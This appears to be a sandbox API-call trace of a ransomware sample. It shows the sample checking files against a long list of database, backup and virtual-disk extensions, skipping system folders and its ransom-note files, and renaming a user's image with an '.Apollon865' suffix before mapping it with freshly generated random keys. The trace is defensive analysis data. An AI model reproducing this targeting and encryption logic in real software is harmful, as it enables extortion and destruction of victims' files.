	[0087.404] lstrlenW (lpString="dxl") returned 3
	[0087.404] lstrcmpiW (lpString1="gif", lpString2="dxl") returned 1
	[0087.404] lstrlenW (lpString="eco") returned 3
	[0087.404] lstrcmpiW (lpString1="gif", lpString2="eco") returned 1
	[0087.404] lstrlenW (lpString="ecx") returned 3
	[0087.404] lstrcmpiW (lpString1="gif", lpString2="ecx") returned 1
	[0087.404] lstrlenW (lpString="edb") returned 3
	[0087.405] lstrcmpiW (lpString1="gif", lpString2="edb") returned 1
	[0087.405] lstrlenW (lpString="epim") returned 4
	[0087.405] lstrcmpiW (lpString1=".gif", lpString2="epim") returned -1
	[0087.405] lstrlenW (lpString="fcd") returned 3
	[0087.405] lstrcmpiW (lpString1="gif", lpString2="fcd") returned 1
	[0087.405] lstrlenW (lpString="fdb") returned 3
	[0087.405] lstrcmpiW (lpString1="gif", lpString2="fdb") returned 1
	[0087.405] lstrlenW (lpString="fic") returned 3
	[0087.405] lstrcmpiW (lpString1="gif", lpString2="fic") returned 1
	[0087.405] lstrlenW (lpString="flexolibrary") returned 12
	[0087.405] lstrcmpiW (lpString1="DQOrN_co.gif", lpString2="flexolibrary") returned -1
	[0087.405] lstrlenW (lpString="fm5") returned 3
	[0087.405] lstrcmpiW (lpString1="gif", lpString2="fm5") returned 1
	[0087.405] lstrlenW (lpString="fmp") returned 3
	[0087.405] lstrcmpiW (lpString1="gif", lpString2="fmp") returned 1
	[0087.405] lstrlenW (lpString="fmp12") returned 5
	[0087.405] lstrcmpiW (lpString1="o.gif", lpString2="fmp12") returned 1
	[0087.405] lstrlenW (lpString="fmpsl") returned 5
	[0087.405] lstrcmpiW (lpString1="o.gif", lpString2="fmpsl") returned 1
	[0087.405] lstrlenW (lpString="fol") returned 3
	[0087.405] lstrcmpiW (lpString1="gif", lpString2="fol") returned 1
	[0087.405] lstrlenW (lpString="fp3") returned 3
	[0087.405] lstrcmpiW (lpString1="gif", lpString2="fp3") returned 1
	[0087.405] lstrlenW (lpString="fp4") returned 3
	[0087.405] lstrcmpiW (lpString1="gif", lpString2="fp4") returned 1
	[0087.405] lstrlenW (lpString="fp5") returned 3
	[0087.405] lstrcmpiW (lpString1="gif", lpString2="fp5") returned 1
	[0087.405] lstrlenW (lpString="fp7") returned 3
	[0087.405] lstrcmpiW (lpString1="gif", lpString2="fp7") returned 1
	[0087.406] lstrlenW (lpString="fpt") returned 3
	[0087.406] lstrcmpiW (lpString1="gif", lpString2="fpt") returned 1
	[0087.406] lstrlenW (lpString="frm") returned 3
	[0087.406] lstrcmpiW (lpString1="gif", lpString2="frm") returned 1
	[0087.406] lstrlenW (lpString="gdb") returned 3
	[0087.406] lstrcmpiW (lpString1="gif", lpString2="gdb") returned 1
	[0087.406] lstrlenW (lpString="gdb") returned 3
	[0087.406] lstrcmpiW (lpString1="gif", lpString2="gdb") returned 1
	[0087.406] lstrlenW (lpString="grdb") returned 4
	[0087.406] lstrcmpiW (lpString1=".gif", lpString2="grdb") returned -1
	[0087.406] lstrlenW (lpString="gwi") returned 3
	[0087.406] lstrcmpiW (lpString1="gif", lpString2="gwi") returned -1
	[0087.406] lstrlenW (lpString="hdb") returned 3
	[0087.406] lstrcmpiW (lpString1="gif", lpString2="hdb") returned -1
	[0087.406] lstrlenW (lpString="his") returned 3
	[0087.406] lstrcmpiW (lpString1="gif", lpString2="his") returned -1
	[0087.406] lstrlenW (lpString="ib") returned 2
	[0087.406] lstrcmpiW (lpString1="if", lpString2="ib") returned 1
	[0087.406] lstrlenW (lpString="idb") returned 3
	[0087.406] lstrcmpiW (lpString1="gif", lpString2="idb") returned -1
	[0087.406] lstrlenW (lpString="ihx") returned 3
	[0087.406] lstrcmpiW (lpString1="gif", lpString2="ihx") returned -1
	[0087.406] lstrlenW (lpString="itdb") returned 4
	[0087.406] lstrcmpiW (lpString1=".gif", lpString2="itdb") returned -1
	[0087.406] lstrlenW (lpString="itw") returned 3
	[0087.406] lstrcmpiW (lpString1="gif", lpString2="itw") returned -1
	[0087.406] lstrlenW (lpString="jet") returned 3
	[0087.406] lstrcmpiW (lpString1="gif", lpString2="jet") returned -1
	[0087.406] lstrlenW (lpString="jtx") returned 3
	[0087.406] lstrcmpiW (lpString1="gif", lpString2="jtx") returned -1
	[0087.406] lstrlenW (lpString="kdb") returned 3
	[0087.406] lstrcmpiW (lpString1="gif", lpString2="kdb") returned -1
	[0087.406] lstrlenW (lpString="kexi") returned 4
	[0087.406] lstrcmpiW (lpString1=".gif", lpString2="kexi") returned -1
	[0087.407] lstrlenW (lpString="kexic") returned 5
	[0087.407] lstrcmpiW (lpString1="o.gif", lpString2="kexic") returned 1
	[0087.407] lstrlenW (lpString="kexis") returned 5
	[0087.407] lstrcmpiW (lpString1="o.gif", lpString2="kexis") returned 1
	[0087.407] lstrlenW (lpString="lgc") returned 3
	[0087.407] lstrcmpiW (lpString1="gif", lpString2="lgc") returned -1
	[0087.407] lstrlenW (lpString="lwx") returned 3
	[0087.407] lstrcmpiW (lpString1="gif", lpString2="lwx") returned -1
	[0087.407] lstrlenW (lpString="maf") returned 3
	[0087.407] lstrcmpiW (lpString1="gif", lpString2="maf") returned -1
	[0087.407] lstrlenW (lpString="maq") returned 3
	[0087.407] lstrcmpiW (lpString1="gif", lpString2="maq") returned -1
	[0087.407] lstrlenW (lpString="mar") returned 3
	[0087.407] lstrcmpiW (lpString1="gif", lpString2="mar") returned -1
	[0087.407] lstrlenW (lpString="marshal") returned 7
	[0087.407] lstrcmpiW (lpString1="_co.gif", lpString2="marshal") returned -1
	[0087.407] lstrlenW (lpString="mas") returned 3
	[0087.407] lstrcmpiW (lpString1="gif", lpString2="mas") returned -1
	[0087.407] lstrlenW (lpString="mav") returned 3
	[0087.407] lstrcmpiW (lpString1="gif", lpString2="mav") returned -1
	[0087.407] lstrlenW (lpString="maw") returned 3
	[0087.407] lstrcmpiW (lpString1="gif", lpString2="maw") returned -1
	[0087.407] lstrlenW (lpString="mdbhtml") returned 7
	[0087.407] lstrcmpiW (lpString1="_co.gif", lpString2="mdbhtml") returned -1
	[0087.407] lstrlenW (lpString="mdn") returned 3
	[0087.407] lstrcmpiW (lpString1="gif", lpString2="mdn") returned -1
	[0087.407] lstrlenW (lpString="mdt") returned 3
	[0087.407] lstrcmpiW (lpString1="gif", lpString2="mdt") returned -1
	[0087.407] lstrlenW (lpString="mfd") returned 3
	[0087.407] lstrcmpiW (lpString1="gif", lpString2="mfd") returned -1
	[0087.407] lstrlenW (lpString="mpd") returned 3
	[0087.407] lstrcmpiW (lpString1="gif", lpString2="mpd") returned -1
	[0087.408] lstrlenW (lpString="mrg") returned 3
	[0087.408] lstrcmpiW (lpString1="gif", lpString2="mrg") returned -1
	[0087.408] lstrlenW (lpString="mud") returned 3
	[0087.408] lstrcmpiW (lpString1="gif", lpString2="mud") returned -1
	[0087.408] lstrlenW (lpString="mwb") returned 3
	[0087.408] lstrcmpiW (lpString1="gif", lpString2="mwb") returned -1
	[0087.408] lstrlenW (lpString="myd") returned 3
	[0087.408] lstrcmpiW (lpString1="gif", lpString2="myd") returned -1
	[0087.408] lstrlenW (lpString="ndf") returned 3
	[0087.408] lstrcmpiW (lpString1="gif", lpString2="ndf") returned -1
	[0087.408] lstrlenW (lpString="nnt") returned 3
	[0087.408] lstrcmpiW (lpString1="gif", lpString2="nnt") returned -1
	[0087.408] lstrlenW (lpString="nrmlib") returned 6
	[0087.408] lstrcmpiW (lpString1="co.gif", lpString2="nrmlib") returned -1
	[0087.408] lstrlenW (lpString="ns2") returned 3
	[0087.408] lstrcmpiW (lpString1="gif", lpString2="ns2") returned -1
	[0087.408] lstrlenW (lpString="ns3") returned 3
	[0087.408] lstrcmpiW (lpString1="gif", lpString2="ns3") returned -1
	[0087.408] lstrlenW (lpString="ns4") returned 3
	[0087.408] lstrcmpiW (lpString1="gif", lpString2="ns4") returned -1
	[0087.408] lstrlenW (lpString="nsf") returned 3
	[0087.408] lstrcmpiW (lpString1="gif", lpString2="nsf") returned -1
	[0087.408] lstrlenW (lpString="nv") returned 2
	[0087.408] lstrcmpiW (lpString1="if", lpString2="nv") returned -1
	[0087.408] lstrlenW (lpString="nv2") returned 3
	[0087.408] lstrcmpiW (lpString1="gif", lpString2="nv2") returned -1
	[0087.408] lstrlenW (lpString="nwdb") returned 4
	[0087.408] lstrcmpiW (lpString1=".gif", lpString2="nwdb") returned -1
	[0087.409] lstrlenW (lpString="nyf") returned 3
	[0087.409] lstrcmpiW (lpString1="gif", lpString2="nyf") returned -1
	[0087.409] lstrlenW (lpString="odb") returned 3
	[0087.409] lstrcmpiW (lpString1="gif", lpString2="odb") returned -1
	[0087.409] lstrlenW (lpString="odb") returned 3
	[0087.409] lstrcmpiW (lpString1="gif", lpString2="odb") returned -1
	[0087.409] lstrlenW (lpString="oqy") returned 3
	[0087.409] lstrcmpiW (lpString1="gif", lpString2="oqy") returned -1
	[0087.409] lstrlenW (lpString="ora") returned 3
	[0087.409] lstrcmpiW (lpString1="gif", lpString2="ora") returned -1
	[0087.409] lstrlenW (lpString="orx") returned 3
	[0087.409] lstrcmpiW (lpString1="gif", lpString2="orx") returned -1
	[0087.409] lstrlenW (lpString="owc") returned 3
	[0087.409] lstrcmpiW (lpString1="gif", lpString2="owc") returned -1
	[0087.409] lstrlenW (lpString="p96") returned 3
	[0087.409] lstrcmpiW (lpString1="gif", lpString2="p96") returned -1
	[0087.409] lstrlenW (lpString="p97") returned 3
	[0087.409] lstrcmpiW (lpString1="gif", lpString2="p97") returned -1
	[0087.409] lstrlenW (lpString="pan") returned 3
	[0087.409] lstrcmpiW (lpString1="gif", lpString2="pan") returned -1
	[0087.409] lstrlenW (lpString="pdb") returned 3
	[0087.409] lstrcmpiW (lpString1="gif", lpString2="pdb") returned -1
	[0087.409] lstrlenW (lpString="pdm") returned 3
	[0087.409] lstrcmpiW (lpString1="gif", lpString2="pdm") returned -1
	[0087.409] lstrlenW (lpString="pnz") returned 3
	[0087.409] lstrcmpiW (lpString1="gif", lpString2="pnz") returned -1
	[0087.409] lstrlenW (lpString="qry") returned 3
	[0087.409] lstrcmpiW (lpString1="gif", lpString2="qry") returned -1
	[0087.409] lstrlenW (lpString="qvd") returned 3
	[0087.409] lstrcmpiW (lpString1="gif", lpString2="qvd") returned -1
	[0087.409] lstrlenW (lpString="rbf") returned 3
	[0087.409] lstrcmpiW (lpString1="gif", lpString2="rbf") returned -1
	[0087.409] lstrlenW (lpString="rctd") returned 4
	[0087.409] lstrcmpiW (lpString1=".gif", lpString2="rctd") returned -1
	[0087.410] lstrlenW (lpString="rod") returned 3
	[0087.410] lstrcmpiW (lpString1="gif", lpString2="rod") returned -1
	[0087.410] lstrlenW (lpString="rodx") returned 4
	[0087.410] lstrcmpiW (lpString1=".gif", lpString2="rodx") returned -1
	[0087.410] lstrlenW (lpString="rpd") returned 3
	[0087.410] lstrcmpiW (lpString1="gif", lpString2="rpd") returned -1
	[0087.410] lstrlenW (lpString="rsd") returned 3
	[0087.410] lstrcmpiW (lpString1="gif", lpString2="rsd") returned -1
	[0087.410] lstrlenW (lpString="sas7bdat") returned 8
	[0087.410] lstrcmpiW (lpString1="N_co.gif", lpString2="sas7bdat") returned -1
	[0087.410] lstrlenW (lpString="sbf") returned 3
	[0087.410] lstrcmpiW (lpString1="gif", lpString2="sbf") returned -1
	[0087.410] lstrlenW (lpString="scx") returned 3
	[0087.410] lstrcmpiW (lpString1="gif", lpString2="scx") returned -1
	[0087.410] lstrlenW (lpString="sdb") returned 3
	[0087.410] lstrcmpiW (lpString1="gif", lpString2="sdb") returned -1
	[0087.410] lstrlenW (lpString="sdc") returned 3
	[0087.410] lstrcmpiW (lpString1="gif", lpString2="sdc") returned -1
	[0087.410] lstrlenW (lpString="sdf") returned 3
	[0087.410] lstrcmpiW (lpString1="gif", lpString2="sdf") returned -1
	[0087.410] lstrlenW (lpString="sis") returned 3
	[0087.410] lstrcmpiW (lpString1="gif", lpString2="sis") returned -1
	[0087.410] lstrlenW (lpString="spq") returned 3
	[0087.410] lstrcmpiW (lpString1="gif", lpString2="spq") returned -1
	[0087.410] lstrlenW (lpString="te") returned 2
	[0087.410] lstrcmpiW (lpString1="if", lpString2="te") returned -1
	[0087.410] lstrlenW (lpString="teacher") returned 7
	[0087.410] lstrcmpiW (lpString1="_co.gif", lpString2="teacher") returned -1
	[0087.410] lstrlenW (lpString="tmd") returned 3
	[0087.410] lstrcmpiW (lpString1="gif", lpString2="tmd") returned -1
	[0087.410] lstrlenW (lpString="tps") returned 3
	[0087.410] lstrcmpiW (lpString1="gif", lpString2="tps") returned -1
	[0087.410] lstrlenW (lpString="trc") returned 3
	[0087.410] lstrcmpiW (lpString1="gif", lpString2="trc") returned -1
	[0087.411] lstrlenW (lpString="trc") returned 3
	[0087.411] lstrcmpiW (lpString1="gif", lpString2="trc") returned -1
	[0087.411] lstrlenW (lpString="trm") returned 3
	[0087.411] lstrcmpiW (lpString1="gif", lpString2="trm") returned -1
	[0087.411] lstrlenW (lpString="udb") returned 3
	[0087.411] lstrcmpiW (lpString1="gif", lpString2="udb") returned -1
	[0087.411] lstrlenW (lpString="udl") returned 3
	[0087.411] lstrcmpiW (lpString1="gif", lpString2="udl") returned -1
	[0087.411] lstrlenW (lpString="usr") returned 3
	[0087.411] lstrcmpiW (lpString1="gif", lpString2="usr") returned -1
	[0087.411] lstrlenW (lpString="v12") returned 3
	[0087.411] lstrcmpiW (lpString1="gif", lpString2="v12") returned -1
	[0087.411] lstrlenW (lpString="vis") returned 3
	[0087.411] lstrcmpiW (lpString1="gif", lpString2="vis") returned -1
	[0087.411] lstrlenW (lpString="vpd") returned 3
	[0087.411] lstrcmpiW (lpString1="gif", lpString2="vpd") returned -1
	[0087.411] lstrlenW (lpString="vvv") returned 3
	[0087.411] lstrcmpiW (lpString1="gif", lpString2="vvv") returned -1
	[0087.411] lstrlenW (lpString="wdb") returned 3
	[0087.411] lstrcmpiW (lpString1="gif", lpString2="wdb") returned -1
	[0087.411] lstrlenW (lpString="wmdb") returned 4
	[0087.411] lstrcmpiW (lpString1=".gif", lpString2="wmdb") returned -1
	[0087.411] lstrlenW (lpString="wrk") returned 3
	[0087.411] lstrcmpiW (lpString1="gif", lpString2="wrk") returned -1
	[0087.411] lstrlenW (lpString="xdb") returned 3
	[0087.411] lstrcmpiW (lpString1="gif", lpString2="xdb") returned -1
	[0087.411] lstrlenW (lpString="xld") returned 3
	[0087.411] lstrcmpiW (lpString1="gif", lpString2="xld") returned -1
	[0087.411] lstrlenW (lpString="xmlff") returned 5
	[0087.411] lstrcmpiW (lpString1="o.gif", lpString2="xmlff") returned -1
	[0087.411] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\SfCev0kQDQOrN_co.gif.Apollon865") returned 85
	[0087.412] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\SfCev0kQDQOrN_co.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\sfcev0kqdqorn_co.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\SfCev0kQDQOrN_co.gif.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\sfcev0kqdqorn_co.gif.apollon865"), dwFlags=0x1) returned 1
	[0087.413] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\SfCev0kQDQOrN_co.gif.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\sfcev0kqdqorn_co.gif.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.413] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=46892) returned 1
	[0087.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.414] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.415] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.415] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.415] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xba30, lpName=0x0) returned 0x15c
	[0087.415] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xba30) returned 0x100000
	[0087.417] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.418] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.418] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.418] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.418] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.418] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.418] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.418] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.418] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.418] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0087.419] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.419] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0087.419] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.419] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.419] CloseHandle (hObject=0x15c) returned 1
	[0087.419] CloseHandle (hObject=0x9c) returned 1
	[0087.420] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.420] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.420] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.421] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6aece20, ftCreationTime.dwHighDateTime=0x1d4d133, ftLastAccessTime.dwLowDateTime=0x5ab34250, ftLastAccessTime.dwHighDateTime=0x1d4d2e8, ftLastWriteTime.dwLowDateTime=0x5ab34250, ftLastWriteTime.dwHighDateTime=0x1d4d2e8, nFileSizeHigh=0x0, nFileSizeLow=0x6ee1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SIc7.gif", cAlternateFileName="")) returned 1
	[0087.421] lstrcmpiW (lpString1="SIc7.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.421] lstrcmpiW (lpString1="SIc7.gif", lpString2="Apollon865.txt.exe") returned 1
	[0087.421] lstrcmpiW (lpString1="SIc7.gif", lpString2=".") returned 1
	[0087.421] lstrcmpiW (lpString1="SIc7.gif", lpString2="..") returned 1
	[0087.421] lstrcmpiW (lpString1="SIc7.gif", lpString2="windows") returned -1
	[0087.421] lstrcmpiW (lpString1="SIc7.gif", lpString2="bootmgr") returned 1
	[0087.421] lstrcmpiW (lpString1="SIc7.gif", lpString2="temp") returned -1
	[0087.421] lstrcmpiW (lpString1="SIc7.gif", lpString2="pagefile.sys") returned 1
	[0087.421] lstrcmpiW (lpString1="SIc7.gif", lpString2="boot") returned 1
	[0087.421] lstrcmpiW (lpString1="SIc7.gif", lpString2="ids.txt") returned 1
	[0087.421] lstrcmpiW (lpString1="SIc7.gif", lpString2="ntuser.dat") returned 1
	[0087.421] lstrcmpiW (lpString1="SIc7.gif", lpString2="perflogs") returned 1
	[0087.421] lstrcmpiW (lpString1="SIc7.gif", lpString2="MSBuild") returned 1
	[0087.421] lstrlenW (lpString="SIc7.gif") returned 8
	[0087.421] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\SfCev0kQDQOrN_co.gif") returned 74
	[0087.421] lstrcpyW (in: lpString1=0x119e674, lpString2="SIc7.gif" | out: lpString1="SIc7.gif") returned="SIc7.gif"
	[0087.422] lstrlenW (lpString="SIc7.gif") returned 8
	[0087.422] lstrlenW (lpString="Apollon865") returned 10
	[0087.422] lstrlenW (lpString=".dll") returned 4
	[0087.422] lstrcmpiW (lpString1="SIc7.gif", lpString2=".dll") returned 1
	[0087.422] lstrlenW (lpString=".lnk") returned 4
	[0087.422] lstrcmpiW (lpString1="SIc7.gif", lpString2=".lnk") returned 1
	[0087.422] lstrlenW (lpString=".ini") returned 4
	[0087.422] lstrcmpiW (lpString1="SIc7.gif", lpString2=".ini") returned 1
	[0087.422] lstrlenW (lpString=".sys") returned 4
	[0087.422] lstrcmpiW (lpString1="SIc7.gif", lpString2=".sys") returned 1
	[0087.422] lstrlenW (lpString="SIc7.gif") returned 8
	[0087.422] lstrlenW (lpString="bak") returned 3
	[0087.422] lstrcmpiW (lpString1="gif", lpString2="bak") returned 1
	[0087.422] lstrlenW (lpString="ba_") returned 3
	[0087.422] lstrcmpiW (lpString1="gif", lpString2="ba_") returned 1
	[0087.422] lstrlenW (lpString="dbb") returned 3
	[0087.422] lstrcmpiW (lpString1="gif", lpString2="dbb") returned 1
	[0087.422] lstrlenW (lpString="vmdk") returned 4
	[0087.422] lstrcmpiW (lpString1=".gif", lpString2="vmdk") returned -1
	[0087.422] lstrlenW (lpString="rar") returned 3
	[0087.422] lstrcmpiW (lpString1="gif", lpString2="rar") returned -1
	[0087.422] lstrlenW (lpString="zip") returned 3
	[0087.422] lstrcmpiW (lpString1="gif", lpString2="zip") returned -1
	[0087.422] lstrlenW (lpString="tgz") returned 3
	[0087.422] lstrcmpiW (lpString1="gif", lpString2="tgz") returned -1
	[0087.422] lstrlenW (lpString="vbox") returned 4
	[0087.422] lstrcmpiW (lpString1=".gif", lpString2="vbox") returned -1
	[0087.422] lstrlenW (lpString="vdi") returned 3
	[0087.422] lstrcmpiW (lpString1="gif", lpString2="vdi") returned -1
	[0087.422] lstrlenW (lpString="vhd") returned 3
	[0087.422] lstrcmpiW (lpString1="gif", lpString2="vhd") returned -1
	[0087.422] lstrlenW (lpString="vhdx") returned 4
	[0087.422] lstrcmpiW (lpString1=".gif", lpString2="vhdx") returned -1
	[0087.422] lstrlenW (lpString="avhd") returned 4
	[0087.423] lstrcmpiW (lpString1=".gif", lpString2="avhd") returned -1
	[0087.423] lstrlenW (lpString="db") returned 2
	[0087.423] lstrcmpiW (lpString1="if", lpString2="db") returned 1
	[0087.423] lstrlenW (lpString="db2") returned 3
	[0087.423] lstrcmpiW (lpString1="gif", lpString2="db2") returned 1
	[0087.423] lstrlenW (lpString="db3") returned 3
	[0087.423] lstrcmpiW (lpString1="gif", lpString2="db3") returned 1
	[0087.423] lstrlenW (lpString="dbf") returned 3
	[0087.423] lstrcmpiW (lpString1="gif", lpString2="dbf") returned 1
	[0087.423] lstrlenW (lpString="mdf") returned 3
	[0087.423] lstrcmpiW (lpString1="gif", lpString2="mdf") returned -1
	[0087.423] lstrlenW (lpString="mdb") returned 3
	[0087.423] lstrcmpiW (lpString1="gif", lpString2="mdb") returned -1
	[0087.423] lstrlenW (lpString="sql") returned 3
	[0087.423] lstrcmpiW (lpString1="gif", lpString2="sql") returned -1
	[0087.423] lstrlenW (lpString="sqlite") returned 6
	[0087.423] lstrcmpiW (lpString1="c7.gif", lpString2="sqlite") returned -1
	[0087.423] lstrlenW (lpString="sqlite3") returned 7
	[0087.424] lstrcmpiW (lpString1="Ic7.gif", lpString2="sqlite3") returned -1
	[0087.424] lstrlenW (lpString="sqlitedb") returned 8
	[0087.424] lstrlenW (lpString="xml") returned 3
	[0087.424] lstrcmpiW (lpString1="gif", lpString2="xml") returned -1
	[0087.424] lstrlenW (lpString="$er") returned 3
	[0087.424] lstrcmpiW (lpString1="gif", lpString2="$er") returned 1
	[0087.424] lstrlenW (lpString="4dd") returned 3
	[0087.424] lstrcmpiW (lpString1="gif", lpString2="4dd") returned 1
	[0087.424] lstrlenW (lpString="4dl") returned 3
	[0087.424] lstrcmpiW (lpString1="gif", lpString2="4dl") returned 1
	[0087.424] lstrlenW (lpString="^^^") returned 3
	[0087.424] lstrcmpiW (lpString1="gif", lpString2="^^^") returned 1
	[0087.424] lstrlenW (lpString="abs") returned 3
	[0087.424] lstrcmpiW (lpString1="gif", lpString2="abs") returned 1
	[0087.424] lstrlenW (lpString="abx") returned 3
	[0087.424] lstrcmpiW (lpString1="gif", lpString2="abx") returned 1
	[0087.424] lstrlenW (lpString="accdb") returned 5
	[0087.424] lstrcmpiW (lpString1="7.gif", lpString2="accdb") returned -1
	[0087.424] lstrlenW (lpString="accdc") returned 5
	[0087.424] lstrcmpiW (lpString1="7.gif", lpString2="accdc") returned -1
	[0087.424] lstrlenW (lpString="accde") returned 5
	[0087.424] lstrcmpiW (lpString1="7.gif", lpString2="accde") returned -1
	[0087.424] lstrlenW (lpString="accdr") returned 5
	[0087.424] lstrcmpiW (lpString1="7.gif", lpString2="accdr") returned -1
	[0087.424] lstrlenW (lpString="accdt") returned 5
	[0087.424] lstrcmpiW (lpString1="7.gif", lpString2="accdt") returned -1
	[0087.424] lstrlenW (lpString="accdw") returned 5
	[0087.424] lstrcmpiW (lpString1="7.gif", lpString2="accdw") returned -1
	[0087.424] lstrlenW (lpString="accft") returned 5
	[0087.424] lstrcmpiW (lpString1="7.gif", lpString2="accft") returned -1
	[0087.424] lstrlenW (lpString="adb") returned 3
	[0087.425] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1
	[0087.425] lstrlenW (lpString="adb") returned 3
	[0087.425] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1
	[0087.425] lstrlenW (lpString="ade") returned 3
	[0087.425] lstrcmpiW (lpString1="gif", lpString2="ade") returned 1
	[0087.425] lstrlenW (lpString="adf") returned 3
	[0087.425] lstrcmpiW (lpString1="gif", lpString2="adf") returned 1
	[0087.425] lstrlenW (lpString="adn") returned 3
	[0087.425] lstrcmpiW (lpString1="gif", lpString2="adn") returned 1
	[0087.425] lstrlenW (lpString="adp") returned 3
	[0087.425] lstrcmpiW (lpString1="gif", lpString2="adp") returned 1
	[0087.425] lstrlenW (lpString="alf") returned 3
	[0087.425] lstrcmpiW (lpString1="gif", lpString2="alf") returned 1
	[0087.425] lstrlenW (lpString="ask") returned 3
	[0087.425] lstrcmpiW (lpString1="gif", lpString2="ask") returned 1
	[0087.425] lstrlenW (lpString="btr") returned 3
	[0087.425] lstrcmpiW (lpString1="gif", lpString2="btr") returned 1
	[0087.425] lstrlenW (lpString="cat") returned 3
	[0087.425] lstrcmpiW (lpString1="gif", lpString2="cat") returned 1
	[0087.425] lstrlenW (lpString="cdb") returned 3
	[0087.425] lstrcmpiW (lpString1="gif", lpString2="cdb") returned 1
	[0087.425] lstrlenW (lpString="ckp") returned 3
	[0087.425] lstrcmpiW (lpString1="gif", lpString2="ckp") returned 1
	[0087.425] lstrlenW (lpString="cma") returned 3
	[0087.425] lstrcmpiW (lpString1="gif", lpString2="cma") returned 1
	[0087.425] lstrlenW (lpString="cpd") returned 3
	[0087.425] lstrcmpiW (lpString1="gif", lpString2="cpd") returned 1
	[0087.425] lstrlenW (lpString="dacpac") returned 6
	[0087.425] lstrcmpiW (lpString1="c7.gif", lpString2="dacpac") returned -1
	[0087.425] lstrlenW (lpString="dad") returned 3
	[0087.425] lstrcmpiW (lpString1="gif", lpString2="dad") returned 1
	[0087.426] lstrlenW (lpString="dadiagrams") returned 10
	[0087.426] lstrlenW (lpString="daschema") returned 8
	[0087.426] lstrlenW (lpString="db-journal") returned 10
	[0087.426] lstrlenW (lpString="db-shm") returned 6
	[0087.426] lstrcmpiW (lpString1="c7.gif", lpString2="db-shm") returned -1
	[0087.426] lstrlenW (lpString="db-wal") returned 6
	[0087.426] lstrcmpiW (lpString1="c7.gif", lpString2="db-wal") returned -1
	[0087.426] lstrlenW (lpString="dbc") returned 3
	[0087.426] lstrcmpiW (lpString1="gif", lpString2="dbc") returned 1
